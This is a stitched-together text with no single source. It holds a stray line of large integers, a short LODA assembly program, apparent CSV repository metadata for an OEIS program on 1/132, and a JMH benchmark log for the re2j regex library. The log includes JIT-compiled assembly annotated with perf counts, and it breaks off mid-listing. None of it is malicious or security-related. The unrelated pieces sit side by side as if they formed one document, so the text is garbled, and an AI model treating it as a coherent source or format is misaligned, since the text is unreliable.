49584848070131274743808,100350287760979960791040,203061758763394744188928,410845884009659133591552,831136500985057557610496,1681162467901593696075776,3400103867666144553861120,6875765599058203431141376,13902646925568235509121024,28107525306040128311918592,56819513521887571211190272,114847952863389771597086720,232113757366008801543585792,469063218010476119785996288,947797842577869272969641984,1914938498269572612734582784,3868562622766813359059763200,7814496497988962985300721664,15783735500888598504963833856,31876956011598542078652448768,64372882042839774294754459648,129983704124964928864408043520,262443288328500618278614335488,529838336814142757656825167872,1069580193942568557512843329536,2158967428513703199424072646656,4357548938284538567644917268480,8794326039083341472883378487296,17747108403195211620953844875264,35811129456447480592281865551872
mov $1,2
pow $1,$0
add $0,14
mul $1,$0
div $1,2
mov $0,$1
| 190.2
| 1,786
| 0.914826
|
1b64b388a0460346cefdbc30dd6f404603d21fae
| 310
|
asm
|
Assembly
|
programs/oeis/021/A021136.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/021/A021136.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/021/A021136.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A021136: Decimal expansion of 1/132.
; 0,0,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7
lpb $0,1
mod $0,2
add $1,1
mul $1,7
sub $1,$0
sub $1,$0
lpe
| 28.181818
| 199
| 0.519355
|
b440c3a92a1e5c021f94a21ecf1b8955cb3bc4c4
| 156,738
|
asm
|
Assembly
|
reports/13_match_rune_1.exp2.asm
|
arnaudroger/re2j-benchmark
|
ecfb2d6975948a1fbb53ccf101b285655b850058
|
[
"MIT"
] | null | null | null |
reports/13_match_rune_1.exp2.asm
|
arnaudroger/re2j-benchmark
|
ecfb2d6975948a1fbb53ccf101b285655b850058
|
[
"MIT"
] | null | null | null |
reports/13_match_rune_1.exp2.asm
|
arnaudroger/re2j-benchmark
|
ecfb2d6975948a1fbb53ccf101b285655b850058
|
[
"MIT"
] | null | null | null |
# JMH version: 1.19
# VM version: JDK 1.8.0_131, VM 25.131-b11
# VM invoker: /usr/lib/jvm/java-8-oracle/jre/bin/java
# VM options: <none>
# Warmup: 20 iterations, 1 s each
# Measurement: 20 iterations, 1 s each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Throughput, ops/time
# Benchmark: com.github.arnaudroger.re2j.Re2jFindRegex.testExp2
# Run progress: 0.00% complete, ETA 00:00:40
# Fork: 1 of 1
# Preparing profilers: LinuxPerfAsmProfiler
# Profilers consume stdout and stderr from target VM, use -v EXTRA to copy to console
# Warmup Iteration 1: 11249.275 ops/s
# Warmup Iteration 2: 19596.389 ops/s
# Warmup Iteration 3: 19617.075 ops/s
# Warmup Iteration 4: 19637.310 ops/s
# Warmup Iteration 5: 20275.234 ops/s
# Warmup Iteration 6: 20264.121 ops/s
# Warmup Iteration 7: 19909.049 ops/s
# Warmup Iteration 8: 20315.373 ops/s
# Warmup Iteration 9: 20364.933 ops/s
# Warmup Iteration 10: 20389.639 ops/s
# Warmup Iteration 11: 20396.943 ops/s
# Warmup Iteration 12: 20393.335 ops/s
# Warmup Iteration 13: 20404.713 ops/s
# Warmup Iteration 14: 20398.141 ops/s
# Warmup Iteration 15: 20397.310 ops/s
# Warmup Iteration 16: 20318.640 ops/s
# Warmup Iteration 17: 20323.004 ops/s
# Warmup Iteration 18: 20355.298 ops/s
# Warmup Iteration 19: 20368.852 ops/s
# Warmup Iteration 20: 19848.402 ops/s
Iteration 1: 20355.416 ops/s
Iteration 2: 20356.513 ops/s
Iteration 3: 20365.586 ops/s
Iteration 4: 20277.697 ops/s
Iteration 5: 20276.384 ops/s
Iteration 6: 20273.188 ops/s
Iteration 7: 20265.640 ops/s
Iteration 8: 20276.658 ops/s
Iteration 9: 20284.219 ops/s
Iteration 10: 20282.591 ops/s
Iteration 11: 20281.064 ops/s
Iteration 12: 19954.629 ops/s
Iteration 13: 20369.964 ops/s
Iteration 14: 20360.867 ops/s
Iteration 15: 20367.114 ops/s
Iteration 16: 20356.710 ops/s
Iteration 17: 20353.373 ops/s
Iteration 18: 20366.015 ops/s
Iteration 19: 20357.672 ops/s
Iteration 20: 20367.805 ops/s
# Processing profiler results: LinuxPerfAsmProfiler
Result "com.github.arnaudroger.re2j.Re2jFindRegex.testExp2":
20307.455 ±(99.9%) 80.822 ops/s [Average]
(min, avg, max) = (19954.629, 20307.455, 20369.964), stdev = 93.075
CI (99.9%): [20226.633, 20388.277] (assumes normal distribution)
Secondary result "com.github.arnaudroger.re2j.Re2jFindRegex.testExp2:·asm":
PrintAssembly processed: 194055 total address lines.
Perf output processed (skipped 23.406 seconds):
Column 1: cycles (20246 events)
Column 2: instructions (20396 events)
Hottest code regions (>10.00% "cycles" events):
....[Hottest Region 1]..............................................................................
C2, level 4, com.google.re2j.Machine::match, version 543 (1802 bytes)
0x00007f000d23d46a: mov 0x28(%rsi),%edx ;*getfield matchcap
; - com.google.re2j.Machine::match@39 (line 191)
0x00007f000d23d46d: mov 0xc(%r12,%rdx,8),%ebp ;*arraylength
; - java.util.Arrays::fill@3 (line 2881)
; - com.google.re2j.Machine::match@43 (line 191)
; implicit exception: dispatches to 0x00007f000d23eaa1
0x00007f000d23d472: test %ebp,%ebp
0x00007f000d23d474: jg 0x00007f000d23e6ed ;*if_icmpge
; - java.util.Arrays::fill@7 (line 2881)
; - com.google.re2j.Machine::match@43 (line 191)
0.01% 0x00007f000d23d47a: mov 0x8(%r8),%ebx ; implicit exception: dispatches to 0x00007f000d23eab1
0x00007f000d23d47e: mov 0x20(%rsi),%r13d ;*getfield q1
; - com.google.re2j.Machine::match@53 (line 192)
0x00007f000d23d482: mov 0x1c(%rsi),%ecx ;*getfield q0
; - com.google.re2j.Machine::match@47 (line 192)
0x00007f000d23d485: cmp $0xf8019b8e,%ebx ; {metadata('com/google/re2j/MachineInput$UTF16Input')}
0x00007f000d23d48b: jne 0x00007f000d23e559
0.00% 0x00007f000d23d491: mov %r8,%rdi ;*invokevirtual step
; - com.google.re2j.Machine::match@60 (line 193)
0x00007f000d23d494: mov 0xc(%rdi),%r14d ;*getfield start
; - com.google.re2j.MachineInput$UTF16Input::step@2 (line 185)
; - com.google.re2j.Machine::match@60 (line 193)
0x00007f000d23d498: mov 0x10(%rdi),%esi ;*getfield end
; - com.google.re2j.MachineInput$UTF16Input::step@9 (line 186)
; - com.google.re2j.Machine::match@60 (line 193)
0.00% 0x00007f000d23d49b: vmovd %xmm0,%r8d
0.00% 0x00007f000d23d4a0: add %r14d,%r8d ;*iadd
; - com.google.re2j.MachineInput$UTF16Input::step@5 (line 185)
; - com.google.re2j.Machine::match@60 (line 193)
0x00007f000d23d4a3: cmp %esi,%r8d
0x00007f000d23d4a6: jge 0x00007f000d23e475 ;*if_icmpge
; - com.google.re2j.MachineInput$UTF16Input::step@12 (line 186)
; - com.google.re2j.Machine::match@60 (line 193)
0x00007f000d23d4ac: mov 0x14(%rdi),%ebp ;*getfield str
; - com.google.re2j.MachineInput$UTF16Input::step@16 (line 187)
; - com.google.re2j.Machine::match@60 (line 193)
0.00% 0x00007f000d23d4af: mov 0x8(%r12,%rbp,8),%eax ; implicit exception: dispatches to 0x00007f000d23eac5
0x00007f000d23d4b4: cmp $0xf80002da,%eax ; {metadata('java/lang/String')}
0x00007f000d23d4ba: jne 0x00007f000d23e589
0.00% 0x00007f000d23d4c0: lea (%r12,%rbp,8),%rbx ;*invokeinterface charAt
; - java.lang.Character::codePointAt@2 (line 4866)
; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
; - com.google.re2j.Machine::match@60 (line 193)
0x00007f000d23d4c4: test %r8d,%r8d
0x00007f000d23d4c7: jl 0x00007f000d23e5c5 ;*iflt
; - java.lang.String::charAt@1 (line 657)
; - java.lang.Character::codePointAt@2 (line 4866)
; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
; - com.google.re2j.Machine::match@60 (line 193)
0x00007f000d23d4cd: vmovd %edx,%xmm3
0x00007f000d23d4d1: mov 0xc(%rbx),%edx ;*getfield value
; - java.lang.String::charAt@6 (line 657)
; - java.lang.Character::codePointAt@2 (line 4866)
; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
; - com.google.re2j.Machine::match@60 (line 193)
0.00% 0x00007f000d23d4d4: mov 0xc(%r12,%rdx,8),%eax ;*arraylength
; - java.lang.String::charAt@9 (line 657)
; - java.lang.Character::codePointAt@2 (line 4866)
; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
; - com.google.re2j.Machine::match@60 (line 193)
; implicit exception: dispatches to 0x00007f000d23ead9
0.01% 0.01% 0x00007f000d23d4d9: cmp %eax,%r8d
0x00007f000d23d4dc: jge 0x00007f000d23e71d ;*if_icmplt
; - java.lang.String::charAt@10 (line 657)
; - java.lang.Character::codePointAt@2 (line 4866)
; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
; - com.google.re2j.Machine::match@60 (line 193)
0.02% 0x00007f000d23d4e2: cmp %eax,%r8d
0x00007f000d23d4e5: jae 0x00007f000d23e4d5
0x00007f000d23d4eb: mov %rdi,0x70(%rsp)
0x00007f000d23d4f0: mov %ecx,0x28(%rsp)
0x00007f000d23d4f4: mov %r9d,0x68(%rsp)
0x00007f000d23d4f9: mov %r11d,0x5c(%rsp)
0.00% 0x00007f000d23d4fe: mov %r10,0x60(%rsp)
0x00007f000d23d503: lea (%r12,%rdx,8),%r11
0x00007f000d23d507: movzwl 0x10(%r11,%r8,2),%r10d ;*caload
; - java.lang.String::charAt@27 (line 660)
; - java.lang.Character::codePointAt@2 (line 4866)
; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
; - com.google.re2j.Machine::match@60 (line 193)
0x00007f000d23d50d: cmp $0xd800,%r10d
0x00007f000d23d514: jge 0x00007f000d23e761 ;*if_icmplt
; - java.lang.Character::isHighSurrogate@3 (line 4729)
; - java.lang.Character::codePointAt@9 (line 4867)
; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
; - com.google.re2j.Machine::match@60 (line 193)
0.01% 0x00007f000d23d51a: shl $0x3,%r10d ;*ishl
; - com.google.re2j.MachineInput$UTF16Input::step@38 (line 190)
; - com.google.re2j.Machine::match@60 (line 193)
0x00007f000d23d51e: mov %r10d,%r8d
0x00007f000d23d521: and $0x7,%r8d
0.00% 0x00007f000d23d525: or $0x1,%r10d
0.00% 0x00007f000d23d529: vmovd %r10d,%xmm1
0x00007f000d23d52e: or $0x1,%r8d ;*ior ; - com.google.re2j.MachineInput$UTF16Input::step@41 (line 190)
; - com.google.re2j.Machine::match@60 (line 193)
0x00007f000d23d532: mov %r8d,0x1c(%rsp)
0x00007f000d23d537: sar $0x3,%r10d ;*ishr
; - com.google.re2j.Machine::match@68 (line 194)
0.01% 0.01% 0x00007f000d23d53b: vmovd %r10d,%xmm2
0x00007f000d23d540: vmovd %xmm1,%r10d
0x00007f000d23d545: cmp $0xfffffff8,%r10d
0x00007f000d23d549: je 0x00007f000d23e484 ;*if_icmpeq
; - com.google.re2j.Machine::match@88 (line 198)
0.00% 0x00007f000d23d54f: vmovd %xmm0,%r8d
0x00007f000d23d554: add 0x1c(%rsp),%r8d
0.01% 0.01% 0x00007f000d23d559: add %r14d,%r8d ;*iadd
; - com.google.re2j.MachineInput$UTF16Input::step@5 (line 185)
; - com.google.re2j.Machine::match@96 (line 199)
0.00% 0x00007f000d23d55c: cmp %esi,%r8d
0x00007f000d23d55f: jge 0x00007f000d23dbc6 ;*if_icmpge
; - com.google.re2j.MachineInput$UTF16Input::step@12 (line 186)
; - com.google.re2j.Machine::match@96 (line 199)
0.01% 0.00% 0x00007f000d23d565: test %r8d,%r8d
0x00007f000d23d568: jl 0x00007f000d23e639 ;*iflt
; - java.lang.String::charAt@1 (line 657)
; - java.lang.Character::codePointAt@2 (line 4866)
; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
; - com.google.re2j.Machine::match@96 (line 199)
0x00007f000d23d56e: cmp %eax,%r8d
0x00007f000d23d571: jge 0x00007f000d23e7b5 ;*if_icmplt
; - java.lang.String::charAt@10 (line 657)
; - java.lang.Character::codePointAt@2 (line 4866)
; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
; - com.google.re2j.Machine::match@96 (line 199)
0.01% 0x00007f000d23d577: cmp %eax,%r8d
0x00007f000d23d57a: jae 0x00007f000d23e519
0.01% 0x00007f000d23d580: movzwl 0x10(%r11,%r8,2),%r11d ;*caload
; - java.lang.String::charAt@27 (line 660)
; - java.lang.Character::codePointAt@2 (line 4866)
; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
; - com.google.re2j.Machine::match@96 (line 199)
0x00007f000d23d586: cmp $0xd800,%r11d
0x00007f000d23d58d: jge 0x00007f000d23e7f5 ;*if_icmplt
; - java.lang.Character::isHighSurrogate@3 (line 4729)
; - java.lang.Character::codePointAt@9 (line 4867)
; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
; - com.google.re2j.Machine::match@96 (line 199)
0.00% 0x00007f000d23d593: shl $0x3,%r11d ;*ishl
; - com.google.re2j.MachineInput$UTF16Input::step@38 (line 190)
; - com.google.re2j.Machine::match@96 (line 199)
0x00007f000d23d597: mov %r11d,%r8d
0x00007f000d23d59a: and $0x7,%r8d
0.00% 0x00007f000d23d59e: or $0x1,%r11d
0x00007f000d23d5a2: or $0x1,%r8d ;*ior ; - com.google.re2j.MachineInput$UTF16Input::step@41 (line 190)
; - com.google.re2j.Machine::match@96 (line 199)
0x00007f000d23d5a6: sar $0x3,%r11d ;*iand
; - com.google.re2j.Machine::match@111 (line 201)
0x00007f000d23d5aa: vmovd %xmm0,%r9d
0x00007f000d23d5af: test %r9d,%r9d
0x00007f000d23d5b2: jne 0x00007f000d23e605 ;*ifne
; - com.google.re2j.Machine::match@115 (line 204)
0x00007f000d23d5b8: vmovd %xmm2,%r10d
0.00% 0x00007f000d23d5bd: test %r10d,%r10d
0x00007f000d23d5c0: jl 0x00007f000d23dbbb ;*ifge
; - com.google.re2j.Utils::emptyOpContext@21 (line 179)
; - com.google.re2j.Machine::match@121 (line 205)
0x00007f000d23d5c6: mov $0x5,%r9d ;*iload_1
; - com.google.re2j.Utils::emptyOpContext@29 (line 182)
; - com.google.re2j.Machine::match@121 (line 205)
0x00007f000d23d5cc: cmp $0xa,%r10d
0x00007f000d23d5d0: je 0x00007f000d23dbd4 ;*iload_0
; - com.google.re2j.Utils::emptyOpContext@39 (line 185)
; - com.google.re2j.Machine::match@121 (line 205)
0.00% 0x00007f000d23d5d6: mov %r10d,%ecx
0.00% 0x00007f000d23d5d9: add $0xffffffbf,%ecx
0x00007f000d23d5dc: cmp $0x1a,%ecx
╭ 0x00007f000d23d5df: jb 0x00007f000d23d5f0 ;*if_icmple
│ ; - com.google.re2j.Utils::isWordRune@9 (line 149)
│ ; - com.google.re2j.Utils::emptyOpContext@44 (line 185)
│ ; - com.google.re2j.Machine::match@121 (line 205)
0.00% │ 0x00007f000d23d5e1: mov %r10d,%ebx
│ 0x00007f000d23d5e4: add $0xffffff9f,%ebx
0.00% │ 0x00007f000d23d5e7: cmp $0x1a,%ebx
│ 0x00007f000d23d5ea: jae 0x00007f000d23dbdd ;*iconst_1
│ ; - com.google.re2j.Utils::isWordRune@42 (line 149)
│ ; - com.google.re2j.Utils::emptyOpContext@44 (line 185)
│ ; - com.google.re2j.Machine::match@121 (line 205)
↘ 0x00007f000d23d5f0: or $0x10,%r9d ;*iload_2
; - com.google.re2j.Utils::emptyOpContext@63 (line 190)
; - com.google.re2j.Machine::match@121 (line 205)
0.01% 0.02% 0x00007f000d23d5f4: mov %r8d,0x24(%rsp)
0.00% 0x00007f000d23d5f9: mov %r11d,0x20(%rsp)
0.00% 0.01% 0x00007f000d23d5fe: mov %r10d,0x18(%rsp)
0x00007f000d23d603: mov 0x68(%rsp),%r11d
0x00007f000d23d608: and $0x4,%r11d ;*iand
; - com.google.re2j.Machine::match@147 (line 212)
0x00007f000d23d60c: mov %r11d,0x2c(%rsp)
0x00007f000d23d611: mov %r13,%r10
0x00007f000d23d614: shl $0x3,%r10 ;*getfield q1
; - com.google.re2j.Machine::match@53 (line 192)
0x00007f000d23d618: mov %r10,0x10(%rsp)
0.00% 0.00% 0x00007f000d23d61d: xor %eax,%eax
0.00% 0x00007f000d23d61f: xor %r11d,%r11d
0x00007f000d23d622: mov %r11d,0x38(%rsp)
╭ 0x00007f000d23d627: jmpq 0x00007f000d23d94e
0.42% 0.46% │ ↗↗↗ 0x00007f000d23d62c: mov 0x2c(%r12,%rcx,8),%ebp ;*getfield outInst
│ │││ ; - com.google.re2j.Machine::step@189 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.32% 0.33% │ │││ 0x00007f000d23d631: mov 0x8(%r12,%rbp,8),%ecx ; implicit exception: dispatches to 0x00007f000d23ea45
0.29% 0.15% │ │││ 0x00007f000d23d636: cmp $0xf8019909,%ecx ; {metadata('com/google/re2j/Inst$MatchInst')}
│ │││ 0x00007f000d23d63c: jne 0x00007f000d23e269
0.10% 0.11% │ │││ 0x00007f000d23d642: lea (%r12,%rbp,8),%rcx ;*invokevirtual add
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.01% 0.01% │ │││ 0x00007f000d23d646: vmovq %rcx,%xmm0
0.01% 0.02% │ │││ 0x00007f000d23d64b: mov 0x18(%rcx),%ebx ;*getfield pc
│ │││ ; - com.google.re2j.Inst$MatchInst::add@2 (line 144)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.03% 0.01% │ │││ 0x00007f000d23d64e: vmovd %ebx,%xmm3
0.14% 0.08% │ │││ 0x00007f000d23d652: mov 0x10(%rsp),%rcx
0.00% 0.00% │ │││ 0x00007f000d23d657: mov 0x10(%rcx),%rbx ;*getfield pcsl
│ │││ ; - com.google.re2j.Machine$Queue::contains@7 (line 42)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
│ │││ ; implicit exception: dispatches to 0x00007f000d23ea65
0.01% 0.01% │ │││ 0x00007f000d23d65b: vmovd %xmm3,%ecx
0.14% 0.10% │ │││ 0x00007f000d23d65f: cmp $0x40,%ecx
│ │││ 0x00007f000d23d662: jg 0x00007f000d23e32d ;*if_icmpgt
│ │││ ; - com.google.re2j.Machine$Queue::contains@3 (line 41)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.15% 0.09% │ │││ 0x00007f000d23d668: mov $0x1,%edx
0.00% 0.01% │ │││ 0x00007f000d23d66d: shl %cl,%rdx ;*lshl
│ │││ ; - com.google.re2j.Machine$Queue::contains@12 (line 42)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.31% 0.31% │ │││ 0x00007f000d23d670: mov %rbx,%rcx
│ │││ 0x00007f000d23d673: and %rdx,%rcx ;*land
│ │││ ; - com.google.re2j.Machine$Queue::contains@13 (line 42)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.01% 0.01% │ │││ 0x00007f000d23d676: test %rcx,%rcx
│ │││ 0x00007f000d23d679: jne 0x00007f000d23e395 ;*ifeq
│ │││ ; - com.google.re2j.Machine$Queue::contains@16 (line 42)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.14% 0.14% │ │││ 0x00007f000d23d67f: vmovd %xmm3,%ecx
0.01% 0.03% │ │││ 0x00007f000d23d683: cmp $0x40,%ecx
│ │││ 0x00007f000d23d686: jge 0x00007f000d23e40d ;*if_icmpge
│ │││ ; - com.google.re2j.Machine$Queue::add@3 (line 51)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.04% 0.06% │ │││ 0x00007f000d23d68c: mov 0x10(%rsp),%rcx
0.00% 0.00% │ │││ 0x00007f000d23d691: mov %r12b,0x18(%rcx) ;*putfield empty
│ │││ ; - com.google.re2j.Machine$Queue::add@33 (line 56)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.03% 0.03% │ │││ 0x00007f000d23d695: mov 0x20(%rcx),%ecx ;*getfield denseThreadsInstructions
│ │││ ; - com.google.re2j.Machine$Queue::addThread@1 (line 66)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.05% 0.01% │ │││ 0x00007f000d23d698: vmovd %ecx,%xmm2
0.08% 0.06% │ │││ 0x00007f000d23d69c: mov 0x10(%rsp),%rcx
0.00% │ │││ 0x00007f000d23d6a1: mov 0xc(%rcx),%ebp ;*getfield size
│ │││ ; - com.google.re2j.Machine$Queue::addThread@6 (line 66)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.04% 0.04% │ │││ 0x00007f000d23d6a4: or %rbx,%rdx
0.00% 0.02% │ │││ 0x00007f000d23d6a7: mov %rdx,0x10(%rcx) ;*putfield pcsl
│ │││ ; - com.google.re2j.Machine$Queue::add@15 (line 52)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.15% 0.06% │ │││ 0x00007f000d23d6ab: mov %ebp,%ebx
0.00% │ │││ 0x00007f000d23d6ad: inc %ebx
0.03% 0.01% │ │││ 0x00007f000d23d6af: mov %ebx,0xc(%rcx) ;*putfield size
│ │││ ; - com.google.re2j.Machine$Queue::addThread@12 (line 66)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.01% 0.01% │ │││ 0x00007f000d23d6b2: vmovd %xmm2,%ecx
0.14% 0.06% │ │││ 0x00007f000d23d6b6: mov 0xc(%r12,%rcx,8),%ecx ; implicit exception: dispatches to 0x00007f000d23ea79
0.25% 0.09% │ │││ 0x00007f000d23d6bb: cmp %ecx,%ebp
│ │││ 0x00007f000d23d6bd: jae 0x00007f000d23e201
0.19% 0.21% │ │││ 0x00007f000d23d6c3: vmovd %xmm2,%ecx
│ │││ 0x00007f000d23d6c7: mov 0x8(%r12,%rcx,8),%ebx
0.03% 0.01% │ │││ 0x00007f000d23d6cc: cmp $0xf8019807,%ebx ; {metadata('com/google/re2j/Inst'[])}
│ │││ 0x00007f000d23d6d2: jne 0x00007f000d23e2c5 ;*aastore
│ │││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.08% 0.08% │ │││ 0x00007f000d23d6d8: shl $0x3,%rcx ;*getfield denseThreadsInstructions
│ │││ ; - com.google.re2j.Machine$Queue::addThread@1 (line 66)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.06% 0.04% │ │││ 0x00007f000d23d6dc: lea 0x10(%rcx,%rbp,4),%rcx
0.00% │ │││ 0x00007f000d23d6e1: vmovq %xmm0,%rbx
0.04% 0.03% │ │││ 0x00007f000d23d6e6: mov %rbx,%rdx
0.06% 0.06% │ │││ 0x00007f000d23d6e9: shr $0x3,%rdx
0.04% 0.05% │ │││ 0x00007f000d23d6ed: mov %edx,(%rcx)
0.28% 0.26% │ │││ 0x00007f000d23d6ef: shr $0x9,%rcx
0.04% 0.03% │ │││ 0x00007f000d23d6f3: movabs $0x7f001e6f3000,%rbx
0.00% │ │││ 0x00007f000d23d6fd: mov %r12b,(%rbx,%rcx,1) ;*aastore
│ │││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ │││ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ │││ ; - com.google.re2j.Machine::step@202 (line 313)
│ │││ ; - com.google.re2j.Machine::match@355 (line 246)
0.24% 0.21% │╭ │││ 0x00007f000d23d701: jmpq 0x00007f000d23d7fc
0.34% 0.29% ││ │││ ↗ 0x00007f000d23d706: or $0x20,%r9d ;*iload_2
││ │││ │ ; - com.google.re2j.Utils::emptyOpContext@63 (line 190)
││ │││ │ ; - com.google.re2j.Machine::match@322 (line 245)
0.08% 0.10% ││ │││ │↗ 0x00007f000d23d70a: mov 0x60(%rsp),%r10
0.13% 0.10% ││ │││ ││ 0x00007f000d23d70f: mov 0x14(%r10),%r10d ;*getfield re2
││ │││ ││ ; - com.google.re2j.Machine::step@1 (line 280)
││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.24% 0.20% ││ │││ ││ 0x00007f000d23d713: movzbl 0x18(%r12,%r10,8),%r14d ;*getfield longest
││ │││ ││ ; - com.google.re2j.Machine::step@4 (line 280)
││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
││ │││ ││ ; implicit exception: dispatches to 0x00007f000d23e9e1
0.64% 0.65% ││ │││ ││ 0x00007f000d23d719: mov 0x28(%rsp),%r11d
0.04% 0.06% ││ │││ ││ 0x00007f000d23d71e: mov 0xc(%r12,%r11,8),%r11d ;*getfield size
││ │││ ││ ; - com.google.re2j.Machine::step@10 (line 281)
││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.12% 0.09% ││ │││ ││ 0x00007f000d23d723: mov 0x38(%rsp),%r8d
0.11% 0.12% ││ │││ ││ 0x00007f000d23d728: add 0x1c(%rsp),%r8d ;*iadd
││ │││ ││ ; - com.google.re2j.Machine::match@336 (line 246)
0.46% 0.41% ││ │││ ││ 0x00007f000d23d72d: test %r11d,%r11d
││╭ │││ ││ 0x00007f000d23d730: jle 0x00007f000d23d804 ;*if_icmpge
│││ │││ ││ ; - com.google.re2j.Machine::step@22 (line 282)
│││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.06% 0.06% │││ │││ ││ 0x00007f000d23d736: mov 0x70(%rsp),%r10
0.07% 0.09% │││ │││ ││ 0x00007f000d23d73b: mov 0x10(%r10),%ecx
0.09% 0.09% │││ │││ ││ 0x00007f000d23d73f: mov 0x60(%rsp),%r10
0.44% 0.39% │││ │││ ││ 0x00007f000d23d744: movzbl 0x11(%r10),%r10d
0.39% 0.43% │││ │││ ││ 0x00007f000d23d749: mov 0x38(%rsp),%ebx
0.07% 0.05% │││ │││ ││ 0x00007f000d23d74d: mov $0x1,%edx
0.10% 0.05% │││ │││ ││ 0x00007f000d23d752: xor %edi,%edi
0.39% 0.37% │││ │││ ││ 0x00007f000d23d754: cmp %ecx,%ebx
0.17% 0.13% │││ │││ ││ 0x00007f000d23d756: cmovne %edi,%edx ;*invokespecial step
│││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.16% 0.16% │││ │││ ││ 0x00007f000d23d759: vmovd %edx,%xmm1
0.40% 0.43% │││ │││ ││ 0x00007f000d23d75d: test %r10d,%r10d
│││ │││ ││ 0x00007f000d23d760: jne 0x00007f000d23de99 ;*aload_0
│││ │││ ││ ; - com.google.re2j.Machine::step@25 (line 285)
│││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.19% 0.17% │││ │││ ││ 0x00007f000d23d766: mov 0x28(%rsp),%r10d
0.04% 0.08% │││ │││ ││ 0x00007f000d23d76b: mov 0x20(%r12,%r10,8),%r10d ;*getfield denseThreadsInstructions
│││ │││ ││ ; - com.google.re2j.Machine::step@82 (line 295)
│││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.10% 0.12% │││ │││ ││ 0x00007f000d23d770: mov 0xc(%r12,%r10,8),%ebx ;*aaload
│││ │││ ││ ; - com.google.re2j.Machine::step@87 (line 295)
│││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
│││ │││ ││ ; implicit exception: dispatches to 0x00007f000d23de99
0.64% 0.49% │││ │││ ││ 0x00007f000d23d775: test %ebx,%ebx
│││ │││ ││ 0x00007f000d23d777: jbe 0x00007f000d23de99
